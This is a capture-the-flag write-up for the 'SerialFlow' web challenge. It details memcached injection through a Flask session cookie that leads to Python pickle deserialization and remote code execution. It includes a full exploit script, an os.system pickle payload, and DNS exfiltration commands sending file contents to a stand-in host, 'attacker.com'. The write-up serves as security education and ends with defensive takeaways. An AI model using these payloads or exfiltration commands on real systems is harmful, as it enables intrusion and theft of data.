2024 Cyber Apocalypse: SerialFlow

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryWeb
ChallengeSerialFlow
DifficultyMedium

Summary

SerialFlow is a complex challenge involving multiple vulnerabilities: memcached injection, Python pickle deserialization, and session management bypass. The Flask application stores session data in memcached using pickle serialization. By injecting malicious memcached commands, attackers can inject pickled Python objects that execute arbitrary code when deserialized.


Analysis

Vulnerability Chain

  1. Session Storage: Flask-Session stores data in memcached
  2. Serialization: Uses Python pickle (inherently dangerous with untrusted data)
  3. Injection: Memcached protocol can be injected through session manipulation
  4. Deserialization RCE: Pickle automatically executes code during deserialization

Memcached Protocol

Memcached uses a text-based protocol:

SET key flags exptime bytes [noreply]
<data block>
GET key
VALUE key flags bytes
<data block>
END

Attack Vector

By crafting a session parameter that injects memcached commands, we can:

  1. Override the session key
  2. Insert a pickled RCE payload
  3. Trigger deserialization through session access

Solution

Step 1: Create RCE Pickle Payload

import pickle
import os
class RCE:
def __reduce__(self):
cmd = 'cat /flag'
return os.system, (cmd,)
payload = pickle.dumps(RCE(), 0)
print(payload)

Step 2: Encode for Memcached Injection

Memcached expects specific formatting. Encode special characters as octal:

def to_memcached_format(data):
"""Convert bytes to memcached injection format"""
result = ""
for byte in data:
if byte > 64: # Printable ASCII
result += chr(byte)
elif byte < 8:
result += f"\\00{oct(byte)[2:]}"
else:
result += f"\\0{oct(byte)[2:]}"
return result
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
# Craft memcached SET command
cookie = b'137\r\nset BT_:1337 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get BT_:1337')
# Convert to octal representation
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o", "\\")
elif x < 8:
pack += oct(x).replace("0o", "\\00")
else:
pack += oct(x).replace("0o", "\\0")
return f'"{pack}"'
print(generate_exploit())

Step 3: Inject via Session Parameter

The memcached injection is sent through the application’s session mechanism:

Terminal window
curl -s 'http://target:port/set?uicolor=...' \
-H "Cookie: session=$(INJECTION_PAYLOAD)"

Step 4: Trigger Deserialization

Access a protected endpoint that deserializes the session:

Terminal window
curl -s 'http://target:port/get' \
-H "Cookie: session=$(INJECTION_PAYLOAD)"

Step 5: Exfiltrate Output

Since direct output may be limited, use DNS exfiltration:

import subprocess
cmd = "cat /flag | nslookup `cat /flag`.attacker.com"

Complete Exploit Script

#!/usr/bin/env python3
import pickle
import os
import requests
import re
class RCE:
def __reduce__(self):
# Use DNS exfiltration for out-of-band data
cmd = 'nslookup $(cat /flag | base64 | tr -d "=" ).attacker.com 8.8.8.8'
return os.system, (cmd,)
def generate_memcached_payload():
"""Generate memcached injection payload"""
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
# Build memcached protocol command
cookie = b'137\r\nset BT_:1337 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get BT_:1337')
# Encode to octal for injection
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o", "\\")
elif x < 8:
pack += oct(x).replace("0o", "\\00")
else:
pack += oct(x).replace("0o", "\\0")
return f'"{pack}"'
def exploit_serialflow(target_url):
"""Exploit SerialFlow memcached injection"""
print("[*] Generating memcached injection payload...")
payload = generate_memcached_payload()
print("[*] Sending injection payload...")
session = requests.Session()
try:
# Send injection through session cookie
headers = {
'Cookie': f'session={payload}'
}
# Trigger deserialization
response = session.get(f"{target_url}/set?uicolor=%23FF0000", headers=headers)
print(f"[+] Response: {response.status_code}")
# Access endpoint to trigger deserialization
response = session.get(f"{target_url}/get", headers=headers)
print(f"[+] Deserialization triggered: {response.status_code}")
# Monitor DNS for exfiltrated flag (requires DNS callback server)
print("[*] Waiting for DNS callback with exfiltrated flag...")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
import sys
target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
exploit_serialflow(target)

Key Takeaways

  • Python pickle is unsafe with untrusted data - use JSON instead
  • Memcached protocol can be exploited through injection
  • Session management must validate and sanitize data
  • Combining vulnerabilities (injection + deserialization) enables RCE
  • Out-of-band data exfiltration bypasses response size limits
  • Flask-Session should use JSON serializer, not pickle
  • Defense in depth helps mitigate vulnerability chains

Flag: HTB{p1ckl3_d3s3r14l1z4t10n_rc3}